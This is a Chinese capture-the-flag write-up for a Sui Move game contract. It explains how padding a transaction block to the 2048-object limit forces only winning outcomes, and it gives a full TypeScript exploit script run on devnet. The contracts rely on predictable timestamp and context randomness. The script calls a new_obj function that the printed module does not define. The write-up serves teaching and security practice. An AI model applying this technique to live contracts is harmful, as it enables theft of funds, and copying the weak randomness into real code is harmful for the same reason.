实践:利用交互实现攻击

题目描述

这是一个基于Sui Move开发的英雄冒险游戏。在这个游戏中,玩家可以控制一个英雄角色,与野猪和野猪王进行战斗,获取经验值和装备,提升自己的等级和能力。游戏包含了完整的战斗系统、物品系统和随机数生成机制。

示例代码

以下是game::adventure模块的代码,这个合约主要是创建怪兽和打怪兽的函数,最后还有一个买宝箱的函数:

module game::adventure {
    use game::inventory;
    use game::hero::{Self, Hero};
    use ctf::random;
    use sui::event;
    use sui::object::{Self, ID, UID};
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};
    use sui::clock;
    use sui::table::{Self, Table};

    struct Monster<phantom T> has key {
        id: UID,
        hp: u64,
        strength: u64,
        defense: u64,
    }

    struct Boar {}
    struct BoarKing {}

    struct SlainEvent<phantom T> has copy, drop {
        slayer_address: address,
        hero: ID,
        boar: ID,
    }

    const EHERO_TIRED: u64 = 1;
    const ENO_SWORD: u64 = 4;
    const ENO_ARMOR: u64 = 5;
    const ERROR_NO_MONEY: u64 = 6;
    const ERROR_NO_TOKEN:u64 = 10;


    const BOAR_MIN_HP: u64 = 80;
    const BOAR_MAX_HP: u64 = 120;
    const BOAR_MIN_STRENGTH: u64 = 5;
    const BOAR_MAX_STRENGTH: u64 = 15;
    const BOAR_MIN_DEFENSE: u64 = 4;
    const BOAR_MAX_DEFENSE: u64 = 6;

    const BOARKING_MIN_HP: u64 = 180;
    const BOARKING_MAX_HP: u64 = 220;
    const BOARKING_MIN_STRENGTH: u64 = 20;
    const BOARKING_MAX_STRENGTH: u64 = 25;
    const BOARKING_MIN_DEFENSE: u64 = 10;
    const BOARKING_MAX_DEFENSE: u64 = 15;

    struct NoUse has key{
        id: UID,
        value: u64,
    }

    struct UsersTokenAmount has key ,store{
        id: UID,
        balances: Table<address, u64>
    }
    struct Amount has copy, drop {
        amount: u64
    }
  
    fun init(ctx: &mut TxContext) {
        let id = object::new(ctx);
        let usersTokenAmount = UsersTokenAmount {
            id: id,
            balances: table::new<address, u64>(ctx)
        };
        transfer::public_share_object(usersTokenAmount);
    }

    fun create_monster<T>(
        min_hp: u64, max_hp: u64,
        min_strength: u64, max_strength: u64,
        min_defense: u64, max_defense: u64,
        ctx: &mut TxContext
    ): Monster<T> { 
        let id = object::new(ctx);       
        let hp = random::rand_u64_range(min_hp, max_hp, ctx);
        let strength = random::rand_u64_range(min_strength, max_strength, ctx);
        let defense = random::rand_u64_range(min_defense, max_defense, ctx);
        Monster<T> {
            id,
            hp,
            strength,
            defense,
        }
    }

    fun fight_monster<T>(hero: &Hero, monster: &Monster<T>): u64 {
        let hero_strength = hero::strength(hero);
        let hero_defense = hero::defense(hero);
        let hero_hp = hero::hp(hero);
        let monster_hp = monster.hp;
        let cnt = 0u64; 
        let rst = 0u64; 
        while (monster_hp > 0) {
            let damage = if (hero_strength > monster.defense) {
                hero_strength - monster.defense
            } else {
                0
            };
            if (damage < monster_hp) {
                monster_hp = monster_hp - damage;
                let damage = if (monster.strength > hero_defense) {
                    monster.strength - hero_defense
                } else {
                    0
                };
                if (damage >= hero_hp) {
                    rst = 2;
                    break
                } else {
                    hero_hp = hero_hp - damage;
                }
            } else {
                rst = 1;
                break
            };
            cnt = cnt + 1;
            if (cnt > 20) {
                break
            }
        };
        rst
    }

    public entry fun slay_boar(hero: &mut Hero, ctx: &mut TxContext) {
        assert!(hero::stamina(hero) > 0, EHERO_TIRED);
        let boar = create_monster<Boar>(
            BOAR_MIN_HP, BOAR_MAX_HP,
            BOAR_MIN_STRENGTH, BOAR_MAX_STRENGTH,
            BOAR_MIN_DEFENSE, BOAR_MAX_DEFENSE,
            ctx
        );
        let fight_result = fight_monster<Boar>(hero, &boar);
        hero::decrease_stamina(hero, 1);
     
        if (fight_result == 1) {
            hero::increase_experience(hero, 10);

            let d100 = random::rand_u64_range(0, 100, ctx);
            if (d100 < 10) {
                let sword = inventory::create_sword(ctx);
                hero::equip_or_levelup_sword(hero, sword, ctx);
            } else if (d100 < 20) {
                let armor = inventory::create_armor(ctx);
                hero::equip_or_levelup_armor(hero, armor, ctx);
            };
        };
        
        event::emit(SlainEvent<Boar> {
            slayer_address: tx_context::sender(ctx),
            hero: hero::id(hero),
            boar: object::uid_to_inner(&boar.id),
        });
        let Monster<Boar> { id, hp: _, strength: _, defense: _} = boar;
        object::delete(id);
    }

    public entry fun init_balances(usersTokenAmount: &mut UsersTokenAmount, ctx: &mut TxContext){
        let sender = tx_context::sender(ctx);
        if (!table::contains(&usersTokenAmount.balances, sender)) {
                table::add(&mut usersTokenAmount.balances, sender, 100);
        }else{
            let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
            *current_balance = 100;
        }
    }

    entry fun slay_boar_king(clock: &clock::Clock, usersTokenAmount: &mut UsersTokenAmount, hero: &mut Hero, ctx: &mut TxContext) {
        let sender = tx_context::sender(ctx);
        assert!(hero::stamina(hero) > 0, EHERO_TIRED);
        let boar = create_monster<BoarKing>(
            BOARKING_MIN_HP, BOARKING_MAX_HP,
            BOARKING_MIN_STRENGTH, BOARKING_MAX_STRENGTH,
            BOARKING_MIN_DEFENSE, BOARKING_MAX_DEFENSE,
            ctx
        );
        let fight_result = fight_monster<BoarKing>(hero, &boar);
        //hero::decrease_stamina(hero, 2);

        if (fight_result == 1) { 
            let current_timestamp = clock::timestamp_ms(clock);
            let d100 = current_timestamp % 3;

            if (d100 == 1) {
                let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
                *current_balance = *current_balance + 5;
                event::emit(Amount{amount: *current_balance});
            }else{  
                let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
                *current_balance = *current_balance - 5;
                event::emit(Amount{amount: *current_balance});
               
                let obj = NoUse {
                    id: object::new(ctx),
                    value: 100,
                };
                transfer::transfer(obj, tx_context::sender(ctx));
                
            };
        };

        event::emit(SlainEvent<BoarKing> {
            slayer_address: tx_context::sender(ctx),
            hero: hero::id(hero),
            boar: object::uid_to_inner(&boar.id),
        });
        let Monster<BoarKing> { id, hp: _, strength: _, defense: _} = boar;
        object::delete(id);
    }

    public entry fun buy_box(usersTokenAmount: &mut UsersTokenAmount ,ctx: &mut TxContext) {
        let sender = tx_context::sender(ctx);
        let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
        event::emit(Amount{amount: *current_balance});
        assert!(*current_balance >= 200,ERROR_NO_MONEY);
         *current_balance = *current_balance - 100;
        let box = inventory::create_treasury_box(ctx);
        transfer::public_transfer(box, tx_context::sender(ctx));
    }

    public fun get_balances(usersTokenAmount: &mut UsersTokenAmount, ctx: &mut TxContext): u64{
        let sender = tx_context::sender(ctx);
        let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
        *current_balance
    }

}

以下是game::hero模块的代码,这个合约是查看英雄属性,给英雄配置装备的一些函数:

module game::hero {
    use game::inventory::{Self, Sword, Armor};

    use sui::object::{Self, ID, UID};
    use sui::transfer;
    use sui::tx_context::TxContext;
    use std::option::{Self, Option};

    friend game::adventure;


    struct Hero has key, store {
        id: UID,
        level: u64,
        stamina: u64,
        hp: u64,
        experience: u64,
        strength: u64,
        defense: u64,
        sword: Option<Sword>,
        armor: Option<Armor>,
    }

    const MAX_LEVEL: u64 = 2;
    const INITAL_HERO_HP: u64 = 100;
    const INITIAL_HERO_STRENGTH: u64 = 10;
    const INITIAL_HERO_DEFENSE: u64 = 5;
    const HERO_STAMINA: u64 = 200;

    const EBOAR_WON: u64 = 0;
    const EHERO_TIRED: u64 = 1;
    const ENOT_ADMIN: u64 = 2;
    const EINSUFFICIENT_FUNDS: u64 = 3;
    const ENO_SWORD: u64 = 4;
    const ENO_ARMOR: u64 = 5;
    const ASSERT_ERR: u64 = 6;
    const EHERO_REACH_MAX_LEVEL: u64 = 7;

    fun init(ctx: &mut TxContext) {
        let hero = create_hero(ctx);
        transfer::share_object(hero);
    }

    public(friend) fun create_hero(ctx: &mut TxContext): Hero {
        Hero {
            id: object::new(ctx),
            level: 1,
            stamina: HERO_STAMINA,
            hp: INITAL_HERO_HP,
            experience: 0,
            strength: INITIAL_HERO_STRENGTH,
            defense: INITIAL_HERO_DEFENSE,
            sword: option::none(),
            armor: option::none(),
        }
    }

    public fun strength(hero: &Hero): u64 {
        if (hero.hp == 0) {
            return 0
        };

        let sword_strength = if (option::is_some(&hero.sword)) {
            inventory::strength(option::borrow(&hero.sword))
        } else {
            0
        };
        hero.strength + sword_strength
    }

    public fun defense(hero: &Hero): u64 {
        if (hero.hp == 0) {
            return 0
        };

        let armor_defense = if (option::is_some(&hero.armor)) {
            inventory::defense(option::borrow(&hero.armor))
        } else {
            0
        };
        hero.defense + armor_defense
    }

    public fun hp(hero: &Hero): u64 {
        hero.hp
    }

    public fun experience(hero: &Hero): u64 {
        hero.experience
    }

    public fun stamina(hero: &Hero): u64 {
        hero.stamina
    }

    public(friend) fun increase_experience(hero: &mut Hero, experience: u64) {
        hero.experience = hero.experience + experience;
    }

    public(friend) fun id(hero: &Hero): ID {
        object::uid_to_inner(&hero.id)
    }

    public(friend) fun decrease_stamina(hero: &mut Hero, stamina: u64) {
        hero.stamina = hero.stamina - stamina;
    }

    public entry fun level_up(hero: &mut Hero) {
        assert!(hero.level < MAX_LEVEL, EHERO_REACH_MAX_LEVEL);
        if (hero.experience >= 100) {
            hero.level = hero.level + 1;
            hero.strength = hero.strength + INITIAL_HERO_STRENGTH*3;
            hero.defense = hero.defense + INITIAL_HERO_DEFENSE*3;
            hero.hp = hero.hp + INITAL_HERO_HP;
            hero.experience = hero.experience - 100;
        }
    }

    public fun equip_or_levelup_sword(hero: &mut Hero, new_sword: Sword, ctx: &mut TxContext) {
        let sword = if (option::is_some(&hero.sword)) {
            let sword = option::extract(&mut hero.sword);
            inventory::level_up_sword(&mut sword, new_sword, ctx);
            sword
        } else {
            new_sword
        };
        option::fill(&mut hero.sword, sword);
    }


    public fun remove_sword(hero: &mut Hero): Sword {
        assert!(option::is_some(&hero.sword), ENO_SWORD);
        option::extract(&mut hero.sword)
    }

    public fun equip_or_levelup_armor(hero: &mut Hero, new_armor: Armor, ctx: &mut TxContext) {
        let armor = if (option::is_some(&hero.armor)) {
            let armor = option::extract(&mut hero.armor);
            inventory::level_up_armor(&mut armor, new_armor, ctx);
            armor
        } else {
            new_armor
        };
        option::fill(&mut hero.armor, armor);
    }


    public fun remove_armor(hero: &mut Hero): Armor {
        assert!(option::is_some(&hero.armor), ENO_ARMOR);
        option::extract(&mut hero.armor)
    }

    public fun destroy_hero(hero: Hero) {
        let Hero {id, level: _, stamina: _, hp: _, experience: _, strength: _, defense: _, sword, armor} = hero;
        object::delete(id);
        if (option::is_some(&sword)) {
            let sword = option::destroy_some(sword);
            inventory::destroy_sword(sword);
        } else {
            option::destroy_none(sword);
        };
        if (option::is_some(&armor)) {
            let armor = option::destroy_some(armor);
            inventory::destroy_armor(armor);
        } else {
            option::destroy_none(armor);
        };
    }
}

以下是game::inventory模块的代码,这个合约主要是升级装备,查看装备属性的函数,最后还有一个获取flag的函数:

module game::inventory {
    use ctf::random;
    
    use sui::object::{Self, UID};
    use sui::tx_context::{Self, TxContext};
    use sui::event;

    friend game::adventure;

    const MAX_RARITY: u64 = 5;
    const BASE_SWORD_STRENGTH: u64 = 2;
    const BASE_ARMOR_DEFENSE: u64 = 1;

    struct Sword has store {
        rarity: u64,
        strength: u64,
    }

    struct Armor has store {
        rarity: u64,
        defense: u64,
    }

    struct TreasuryBox has key, store {
        id: UID,
    }

    struct Flag has copy, drop {
        user: address,
        flag: bool
    }

    public(friend) fun create_treasury_box(ctx: &mut TxContext): TreasuryBox {
        TreasuryBox {
            id: object::new(ctx)
        }
    }

    public(friend) fun create_sword(_ctx: &mut TxContext): Sword {
        Sword {
            rarity: 1,
            strength: BASE_SWORD_STRENGTH,
        }
    }

    public fun destroy_sword(sword: Sword) {
        let Sword { rarity: _, strength: _} = sword;
    }

    public(friend) fun create_armor(_ctx: &mut TxContext): Armor {
        Armor {
            rarity: 1,
            defense: BASE_ARMOR_DEFENSE,
        }
    }

    public fun destroy_armor(armor: Armor) {
        let Armor { rarity: _, defense: _} = armor;
    }

    public fun strength(sword: &Sword): u64 {
        sword.strength * sword.rarity
    }

    public fun defense(armor: &Armor): u64 {
        armor.defense * armor.rarity
    }  

    public fun sword_rarity(sword: &Sword): u64 {
        sword.rarity
    }

    public fun armor_rarity(armor: &Armor): u64 {
        armor.rarity
    }

    public fun level_up_sword(sword: &mut Sword, material: Sword, ctx: &mut TxContext) {
        if (sword.rarity < MAX_RARITY) {
            let prob = random::rand_u64_range(0, sword.rarity, ctx);
            if (prob < 1) {
                sword.rarity = sword.rarity + 1;
            }
        };
        destroy_sword(material);
    }

    public fun level_up_armor(armor: &mut Armor, material: Armor, ctx: &mut TxContext) {
        if (armor.rarity < MAX_RARITY) {
            let prob = random::rand_u64_range(0, armor.rarity, ctx);
            if (prob < 1) {
                armor.rarity = armor.rarity + 1;
            }
        };
        destroy_armor(material);
    }

    public entry fun get_flag(box: TreasuryBox, ctx: &mut TxContext) {
        let TreasuryBox { id } = box;
        object::delete(id);
        event::emit(Flag { user: tx_context::sender(ctx), flag: true });
    }
}

以下是ctf::random模块的代码,这个合约主要是生成随机数的合约:

module ctf::random {
    use std::hash;
    use std::vector;

    use sui::bcs;
    use sui::object;
    use sui::tx_context::TxContext;
    use std::debug;
    use sui::event;
    
    const ERR_HIGH_ARG_GREATER_THAN_LOW_ARG: u64 = 101;
    
    fun seed(ctx: &mut TxContext): vector<u8> {
        let ctx_bytes = bcs::to_bytes(ctx);
        let info: vector<u8> = vector::empty<u8>();
        vector::append<u8>(&mut info, ctx_bytes);
        let hash: vector<u8> = hash::sha3_256(info);
        hash
        
    }

    fun bytes_to_u64(bytes: vector<u8>): u64 {
        let value = 0u64;
        let i = 0u64;
        while (i < 8) {
            value = value | ((*vector::borrow(&bytes, i) as u64) << ((8 * (7 - i)) as u8));
            i = i + 1;
        };
        return value
    }

    fun rand_u64_with_seed(_seed: vector<u8>): u64 {
        bytes_to_u64(_seed)
    }

    fun rand_u64_range_with_seed(_seed: vector<u8>, low: u64, high: u64): u64 {
        assert!(high > low, ERR_HIGH_ARG_GREATER_THAN_LOW_ARG);
        let value = rand_u64_with_seed(_seed);
        (value % (high - low)) + low
    }

    public fun rand_u64(ctx: &mut TxContext): u64 {
        rand_u64_with_seed(seed(ctx))
    }

    public fun rand_u64_range(low: u64, high: u64, ctx: &mut TxContext): u64 {
        rand_u64_range_with_seed(seed(ctx), low, high)
    }
}

任务目标

理解代码,通过代码中的漏洞,构造攻击链,拿到box。

public entry fun get_flag(box: TreasuryBox, ctx: &mut TxContext) {
    let TreasuryBox { id } = box;
    object::delete(id);
    event::emit(Flag { user: tx_context::sender(ctx), flag: true });
}

题目中的漏洞

没有考虑PTB交易一次最多创建2048个对象,输的逻辑比赢得逻辑多一个对象,可以通过让对象达到2048的阀值,导致后面只能走赢得逻辑才会成功上链。

if (d100 == 1) {
    let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
    *current_balance = *current_balance + 5;
    event::emit(Amount{amount: *current_balance});
}else{  
    let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
    *current_balance = *current_balance - 5;
    event::emit(Amount{amount: *current_balance});
               
    let obj = NoUse {
        id: object::new(ctx),
        value: 100,
     };
    transfer::transfer(obj, tx_context::sender(ctx));    
};

解题思路

可以看到我们要获取flag就必须先拿到box,那么怎么获取这个宝箱呢,

public entry fun buy_box(usersTokenAmount: &mut UsersTokenAmount ,ctx: &mut TxContext) {
    let sender = tx_context::sender(ctx);
    let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
    event::emit(Amount{amount: *current_balance});
    assert!(*current_balance >= 200,ERROR_NO_MONEY);
    *current_balance = *current_balance - 100;
    let box = inventory::create_treasury_box(ctx);
    transfer::public_transfer(box, tx_context::sender(ctx));
}

这里获取box的唯一方式就是调用buy_box函数,看到这我们可以知道只要我们的balance大200,就可以购买这个宝箱,接下来我们寻找可以获得balance的函数:

public entry fun init_balances(usersTokenAmount: &mut UsersTokenAmount, ctx: &mut TxContext){
    let sender = tx_context::sender(ctx);
    if (!table::contains(&usersTokenAmount.balances, sender)) {
        table::add(&mut usersTokenAmount.balances, sender, 100);
    }else{
        let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
        *current_balance = 100;
    }
}

第一个是在init_balances函数会为指定地址初始化一个100金额。

entry fun slay_boar_king(clock: &clock::Clock, usersTokenAmount: &mut UsersTokenAmount, hero: &mut Hero, ctx: &mut TxContext) {
    let sender = tx_context::sender(ctx);
    assert!(hero::stamina(hero) > 0, EHERO_TIRED);
    let boar = create_monster<BoarKing>(
        BOARKING_MIN_HP, BOARKING_MAX_HP,
        BOARKING_MIN_STRENGTH, BOARKING_MAX_STRENGTH,
        BOARKING_MIN_DEFENSE, BOARKING_MAX_DEFENSE,
        ctx
    );
    let fight_result = fight_monster<BoarKing>(hero, &boar);

    if (fight_result == 1) { 
        let current_timestamp = clock::timestamp_ms(clock);
        let d100 = current_timestamp % 3;

        if (d100 == 1) {
            let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
            *current_balance = *current_balance + 5;
            event::emit(Amount{amount: *current_balance});
        }else{  
            let current_balance = table::borrow_mut(&mut usersTokenAmount.balances, sender);
            *current_balance = *current_balance - 5;
            event::emit(Amount{amount: *current_balance});
               
            let obj = NoUse {
                id: object::new(ctx),
                value: 100,
            };
            transfer::transfer(obj, tx_context::sender(ctx));    
        };
    };

    event::emit(SlainEvent<BoarKing> {
        slayer_address: tx_context::sender(ctx),
        hero: hero::id(hero),
        boar: object::uid_to_inner(&boar.id),
    });
    let Monster<BoarKing> { id, hp: _, strength: _, defense: _} = boar;
    object::delete(id);
}

在打野猪王的时候,打赢野猪王有1/3的概率加5个balance。但是也有2/3的概率减去5个balance。 因为创建野猪王时会创建一个对象,所以我预先只需要创建2047个对象,然后创建野猪王加1就是达到2048个对象的阀值,这样就做到只有赢得逻辑才能成功上链,输的逻辑会因为多创建一个对象超过2048而一直报错。

题解

import { Transaction } from '@mysten/sui/transactions';
import { SuiClient, getFullnodeUrl } from '@mysten/sui/client';
import { Ed25519Keypair } from '@mysten/sui/keypairs/ed25519';
import axios from 'axios';

const MNEMONIC = '';// 自己的助记词
const keypair = Ed25519Keypair.deriveKeypair(MNEMONIC);
const publicKey = keypair.getPublicKey();
const address = publicKey.toSuiAddress();
console.log('Wallet Address:', address);
const client = new SuiClient({ url: getFullnodeUrl('devnet') });
let balance = await client.getBalance({ owner: address });
console.log('Account Balance:', balance);
const heroId = '';// heroId
const userTokenAmountId = '';// userTokenAmountId
const PACKAGE_ID = ''; // PACKAGE_ID
const suiRpcUrl = 'https://fullnode.devnet.sui.io/';

async function get_experience() {
    try {
        const response = await axios.post(suiRpcUrl,{jsonrpc: '2.0',id: 1, method: 'sui_getObject',params: [heroId,{showType: true,showOwner: true,showDepth: true,showContent: true,showDisplay: true,},],},{headers: {'Content-Type': 'application/json',},});
        const fields = response.data.result?.data?.content?.fields;
        if (fields) {console.log('Experience:', fields.experience);console.log('Level', fields.level)} else {console.log('No fields found in the object.');}
        return fields.experience 
    } catch (error) {
        console.error('Error fetching object data:', error.message);
    }
}

async function get_transaction_events(digest) {
    try {
        const response = await axios.post(suiRpcUrl, {
            jsonrpc: '2.0',
            id: 1,
            method: 'sui_getTransactionBlock',
            params: [
                digest, 
                {showInput: false,showRawInput: false,showEffects: false,showEvents: true, showObjectChanges: false,showBalanceChanges: false}
            ]
        }, {
            headers: {
                'Content-Type': 'application/json'
            }
        });
        const events = response.data.result?.events;
        if (events && events.length > 0) {
            console.log('交易触发的事件列表:');
            let amount = null;
            for (const event of events){
                if (event.parsedJson && 'amount' in event.parsedJson) {
                    amount = parseInt(event.parsedJson.amount, 10); 
                    console.log('Amount:', amount);
                    break;
                }else{
                    console.log('事件内容:', event.parsedJson);
                }
            }
            return amount;
        } else {
            console.log('该交易没有触发任何事件。');
            return 0;
        }

    } catch (error) {
        console.error('获取交易事件失败:', error.message);
        return 0;
    }
}

async function get_newly_created_object(digest) {
    try {
        const response = await axios.post(suiRpcUrl, {
            jsonrpc: '2.0',
            id: 1,
            method: 'sui_getTransactionBlock',
            params: [
                digest,
                {
                    showEffects: true,
                    showObjectChanges: true
                }
            ]
        }, {
            headers: { 'Content-Type': 'application/json' }
        });
        const result = response.data.result;
        const createdObjects = result.effects?.created || [];
        if (createdObjects.length === 0) {
            console.log('未找到新创建的对象');
            return null;
        }

        const newObjectId = createdObjects[0].reference.objectId;
        console.log('新对象 ID:', newObjectId);
        return newObjectId;

    } catch (error) {
        console.error('获取新对象失败:', error.message);
        return null;
    }
}
// 升级英雄
let i = 0;
while(i<200){
    const tx = new Transaction();
    tx.moveCall({
        target: `${PACKAGE_ID}::adventure::slay_boar`,
        arguments: [
            tx.object(heroId),
            ]
        });
    let experience = await get_experience();
    console.log("experience: ",experience);
    if (experience >= 100){
        tx.moveCall({
            target: `${PACKAGE_ID}::hero::level_up`,
            arguments: [tx.object(heroId),]
        });
        const result = await client.signAndExecuteTransaction({signer: keypair,transaction: tx,});
        console.log('Transaction Result:', result);
        break;
    }
    const result = await client.signAndExecuteTransaction({signer: keypair,transaction: tx,});
    console.log('Transaction Result:', result);
}
// 初始化balances
const tx1 = new Transaction();
tx1.moveCall({
            target: `${PACKAGE_ID}::adventure::init_balances`,
            arguments: [tx1.object(userTokenAmountId),]
        });
const result1 = await client.signAndExecuteTransaction({signer: keypair,transaction: tx1,});
console.log('Transaction Result:', result1);
// 打野猪王获取balances
while(true){
      try{
        const tx3 = new Transaction();
        let num = 2047;
        const address1 = ''// 随便写一个地址
        tx3.moveCall({
                target: `${PACKAGE_ID}::adventure::new_obj`,
                arguments: [tx3.pure.u64(num), tx3.pure.address(address1),]
            });
        tx3.moveCall({
                target: `${PACKAGE_ID}::adventure::slay_boar_king`,
                arguments: [tx3.object('0x6'), tx3.object(userTokenAmountId), tx3.object(heroId)]
            });
        const result3 = await client.signAndExecuteTransaction({signer: keypair,transaction: tx3,});
        console.log('Transaction Result:', result3);
        let amount = await get_transaction_events(result3.digest);
        // console.log("amount: ",amount);
        if (amount >= 200) {
            break;
        }else{
            continue;
        }
     }catch(error){
         console.log("error");
         continue;
     }
}
// buy box
const tx4 = new Transaction();
tx4.moveCall({
            target: `${PACKAGE_ID}::adventure::buy_box`,
            arguments: [tx4.object(userTokenAmountId),]
        });
const result4 = await client.signAndExecuteTransaction({signer: keypair,transaction: tx4,});
console.log('Transaction Result:', result4);
let newobjectId = await get_newly_created_object(result4.digest);
if (newobjectId != null){
    // get flag
    const tx5 = new Transaction();
    tx5.moveCall({
                target: `${PACKAGE_ID}::inventory::get_flag`,
                arguments: [tx5.object(newobjectId),]
            });
    const result5 = await client.signAndExecuteTransaction({signer: keypair,transaction: tx5,});
    console.log('Transaction Result:', result5);
   await get_transaction_events(result5.digest);

}